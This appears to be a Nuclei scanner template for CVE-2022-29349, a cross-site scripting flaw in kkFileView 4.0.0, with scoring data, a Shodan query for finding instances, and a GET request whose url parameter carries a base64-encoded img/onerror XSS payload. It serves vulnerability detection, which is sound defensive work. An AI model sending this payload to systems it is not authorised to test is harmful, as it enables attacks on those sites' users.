id: CVE-2022-29349 info: name: kkFileView 4.0.0 - Cross-Site Scripting author: arafatansari severity: medium description: | kkFileView 4.0.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java. remediation: | Apply the latest security patch or upgrade to a newer version of kkFileView to mitigate the XSS vulnerability. reference: - https://github.com/kekingcn/kkFileView/issues/347 - https://nvd.nist.gov/vuln/detail/CVE-2022-29349 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-29349 cwe-id: CWE-79 epss-score: 0.012 epss-percentile: 0.83633 cpe: cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: keking product: kkfileview shodan-query: http.html:"kkFileView" tags: cve,cve2022,kkFileView,xss http: - method: GET path: - "{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D" matchers-condition: and matchers: - type: word words: - 'txt">123' - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100ff47735f0fbeb6749820c2fd9dbba9de39c8d2c7cbb8dd9c198d49630076c850022100d8266e9f4207a151faf93a239efe9174dfebf8d21671138fbd16085ca44bc7d9:922c64590222798bb761d5b6d8e72950